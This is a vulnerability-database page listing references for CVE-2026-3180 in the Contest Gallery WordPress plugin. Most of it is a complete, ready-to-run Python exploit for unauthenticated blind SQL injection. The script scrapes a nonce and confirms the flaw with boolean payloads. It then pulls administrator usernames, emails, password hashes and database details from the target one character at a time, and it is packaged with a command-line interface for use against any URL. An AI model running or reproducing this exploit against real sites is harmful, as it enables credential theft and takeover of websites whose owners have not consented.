| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| Exploit for CVE-2026-3180 | 4 Jun 202621:27 | – | githubexploit | |
| CVE-2026-3180 | 2 Mar 202617:23 | – | attackerkb | |
| CVE-2026-3180 | 2 Mar 202619:00 | – | circl | |
| WordPress plugin Contest Gallery SQL注入漏洞 | 2 Mar 202600:00 | – | cnnvd | |
| CVE-2026-3180 | 2 Mar 202617:23 | – | cve | |
| CVE-2026-3180 Contest Gallery <= 28.1.4 - Unauthenticated SQL Injection | 2 Mar 202617:23 | – | cvelist | |
| EUVD-2026-9223 | 2 Mar 202617:23 | – | euvd | |
| CVE-2026-3180 | 2 Mar 202618:16 | – | nvd | |
| 📄 WordPress Contest Gallery 28.1.4 SQL Injection | 5 Jun 202600:00 | – | packetstorm | |
| 📄 WordPress Contest Gallery 28.1.4 Blind SQL Injection | 9 Jun 202600:00 | – | packetstorm |
==================================================================================================================================
| # Title : WordPress Contest Gallery 28.1.4 Unauthenticated Blind SQL Injection Advanced exploitation with data extraction |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://wordpress.org/plugins/contest-gallery/ |
==================================================================================================================================
[+] Summary : an unauthenticated blind SQL injection exploit targeting a vulnerability in a WordPress plugin (Contest Gallery 28.1.4).
It abuses a vulnerable AJAX endpoint to infer database data by comparing server responses.
[+] POC :
#!/usr/bin/env python3
import requests
import sys
import argparse
import time
import hashlib
import binascii
from urllib.parse import urljoin
class ContestGalleryExploit:
def __init__(self, target_url, verbose=False):
self.base_url = target_url.rstrip('/')
self.ajax_url = urljoin(self.base_url, '/wp-admin/admin-ajax.php')
self.verbose = verbose
self.nonce = None
self.page_id = "1"
self.table_prefix = "wp_"
self.true_response_length = 0
def log(self, msg, level="INFO"):
if level == "SUCCESS":
print(f"\033[92m[+] {msg}\033[0m")
elif level == "ERROR":
print(f"\033[91m[-] {msg}\033[0m")
elif level == "WARNING":
print(f"\033[93m[!] {msg}\033[0m")
elif level == "DEBUG" and self.verbose:
print(f"\033[94m[*] {msg}\033[0m")
else:
print(f"\033[96m[*] {msg}\033[0m")
def get_nonce(self):
"""Extract nonce from public pages"""
self.log("Extracting nonce...")
paths = [
'/contest-gallery/gallery',
'/gallery',
'/wp-json/contest-gallery/v1/config'
]
for path in paths:
url = urljoin(self.base_url, path)
try:
response = requests.get(url, timeout=10)
if response.status_code == 200:
patterns = [
r'cg_nonce["\']?\s*:\s*["\']([a-f0-9]+)["\']',
r'name=["\']cg_nonce["\']\s+value=["\']([a-f0-9]+)["\']',
r'data-nonce=["\']([a-f0-9]+)["\']'
]
for pattern in patterns:
import re
match = re.search(pattern, response.text, re.IGNORECASE)
if match:
self.nonce = match.group(1)
self.log(f"Nonce found: {self.nonce}", "SUCCESS")
return True
except:
continue
self.log("Failed to obtain nonce", "ERROR")
return False
def get_page_id(self):
"""Find valid page ID"""
self.log("Finding valid page ID...")
for pid in range(1, 10):
test_email = f"test{pid}@test.com"
response = self.send_payload(test_email, str(pid))
if response and response.status_code == 200:
self.page_id = str(pid)
self.log(f"Valid page ID: {self.page_id}", "SUCCESS")
return True
self.log("Using default page ID: 1")
return True
def send_payload(self, email, page_id=None):
"""Send payload to vulnerable endpoint"""
if page_id is None:
page_id = self.page_id
data = {
'action': 'post_cg1l_resend_unconfirmed_mail_frontend',
'cgl_mail': email,
'cgl_page_id': page_id,
'cgl_activation_key': '',
'cg_nonce': self.nonce
}
try:
response = requests.post(self.ajax_url, data=data, timeout=10)
return response
except Exception as e:
self.log(f"Request failed: {e}", "ERROR")
return None
def check_vulnerability(self):
"""Check if target is vulnerable"""
self.log("Checking vulnerability...")
true_payload = "aaaaaaa'OR/**/1=1#@test.com"
false_payload = "aaaaaaa'OR/**/1=2#@test.com"
true_response = self.send_payload(true_payload)
false_response = self.send_payload(false_payload)
if true_response and false_response:
self.true_response_length = len(true_response.text)
if len(true_response.text) != len(false_response.text):
self.log("Target is VULNERABLE to boolean-based blind SQL injection!", "SUCCESS")
return True
self.log("Target does not appear vulnerable", "ERROR")
return False
def blind_query(self, condition):
"""Execute boolean-based blind SQL injection"""
payload = f"aaaaaaa' OR (SELECT IF(({condition}), 1, 0)) AND '1'='1#@test.com"
response = self.send_payload(payload)
if response:
return len(response.text) == self.true_response_length
return False
def extract_string(self, query, max_length=100):
"""Extract string from database using blind SQL injection"""
result = ""
for pos in range(1, max_length + 1):
found = False
for code in range(32, 127):
char = chr(code)
if char in ["'", "\\"]:
char_escaped = "\\" + char
else:
char_escaped = char
condition = f"({query}) = '{result}{char_escaped}'"
if self.blind_query(condition):
result += char
print(f"\r[*] Extracted: {result}", end="", flush=True)
found = True
break
if not found:
break
print()
return result
def extract_integer(self, query, max_bits=32):
"""Extract integer from database using blind SQL injection (bit-by-bit)"""
result = 0
for bit in range(max_bits):
condition = f"({query} >> {bit}) & 1 = 1"
if self.blind_query(condition):
result |= (1 << bit)
return result
def get_table_prefix(self):
"""Extract WordPress table prefix"""
self.log("Extracting table prefix...")
common = ['wp_', 'wp1_', 'wp2_', 'wordpress_', 'wp3_']
for prefix in common:
condition = f"SELECT COUNT(*) FROM {prefix}users > 0"
if self.blind_query(condition):
self.table_prefix = prefix
self.log(f"Found table prefix: {prefix}", "SUCCESS")
return prefix
prefix = ""
query = "SELECT SUBSTRING(table_name, 1, 1) FROM information_schema.tables WHERE table_schema = DATABASE() AND table_name LIKE '%users' LIMIT 1"
prefix = self.extract_string(query)
prefix = prefix.replace('users', '')
self.log(f"Extracted table prefix: {prefix}")
self.table_prefix = prefix
return prefix
def get_admin_users(self):
"""Extract administrator usernames"""
self.log("Extracting administrator users...")
users = []
count_query = f"SELECT COUNT(*) FROM {self.table_prefix}users u JOIN {self.table_prefix}usermeta um ON u.ID = um.user_id WHERE um.meta_key = 'wp_capabilities' AND um.meta_value LIKE '%administrator%'"
admin_count = self.extract_integer(count_query)
self.log(f"Found {admin_count} administrator user(s)")
for offset in range(admin_count):
username_query = f"SELECT u.user_login FROM {self.table_prefix}users u JOIN {self.table_prefix}usermeta um ON u.ID = um.user_id WHERE um.meta_key = 'wp_capabilities' AND um.meta_value LIKE '%administrator%' LIMIT 1 OFFSET {offset}"
username = self.extract_string(username_query, 50)
email_query = f"SELECT u.user_email FROM {self.table_prefix}users u WHERE u.user_login = '{username}' LIMIT 1"
email = self.extract_string(email_query, 100)
id_query = f"SELECT u.ID FROM {self.table_prefix}users u WHERE u.user_login = '{username}' LIMIT 1"
user_id = self.extract_integer(id_query)
users.append({
'username': username,
'email': email,
'ID': user_id
})
self.log(f" User {offset+1}: {username} (ID: {user_id})")
return users
def get_password_hash(self, username):
"""Extract password hash for a specific user"""
self.log(f"Extracting password hash for {username}...")
query = f"SELECT u.user_pass FROM {self.table_prefix}users u WHERE u.user_login = '{username}' LIMIT 1"
hash_value = self.extract_string(query, 100)
self.log(f"Password hash: {hash_value}")
return hash_value
def get_wp_config(self):
"""Extract WordPress configuration"""
self.log("Extracting WordPress configuration...")
config = {}
db_name = self.extract_string("SELECT DATABASE()", 50)
config['DB_NAME'] = db_name
self.log(f"Database name: {db_name}")
db_user = self.extract_string("SELECT USER()", 50)
config['DB_USER'] = db_user
self.log(f"Database user: {db_user}")
mysql_version = self.extract_string("SELECT VERSION()", 50)
config['MYSQL_VERSION'] = mysql_version
self.log(f"MySQL version: {mysql_version}")
wp_version = self.extract_string("SELECT option_value FROM wp_options WHERE option_name = 'blogversion' LIMIT 1", 20)
if wp_version:
config['WP_VERSION'] = wp_version
self.log(f"WordPress version: {wp_version}")
return config
def run(self, extract_type="all"):
"""Main exploit routine"""
if not self.get_nonce():
return False
if not self.get_page_id():
return False
if not self.check_vulnerability():
return False
self.get_table_prefix()
if extract_type in ["users", "all"]:
users = self.get_admin_users()
if extract_type == "all":
for user in users:
user['password_hash'] = self.get_password_hash(user['username'])
if extract_type in ["config", "all"]:
config = self.get_wp_config()
self.log("\n" + "=" * 60, "SUCCESS")
self.log("EXTRACTION COMPLETE!", "SUCCESS")
self.log("=" * 60)
return True
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-3180 - WordPress Contest Gallery Blind SQL Injection"
)
parser.add_argument("-u", "--url", required=True, help="Target WordPress URL")
parser.add_argument("--extract", choices=["users", "config", "all"], default="all",
help="What to extract (default: all)")
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
args = parser.parse_args()
print("""
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-3180 - WordPress Contest Gallery 28.1.4 ║
║ Unauthenticated Blind SQL Injection ║
╚══════════════════════════════════════════════════════════════════╝
""")
exploit = ContestGalleryExploit(args.url, args.verbose)
exploit.run(args.extract)
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation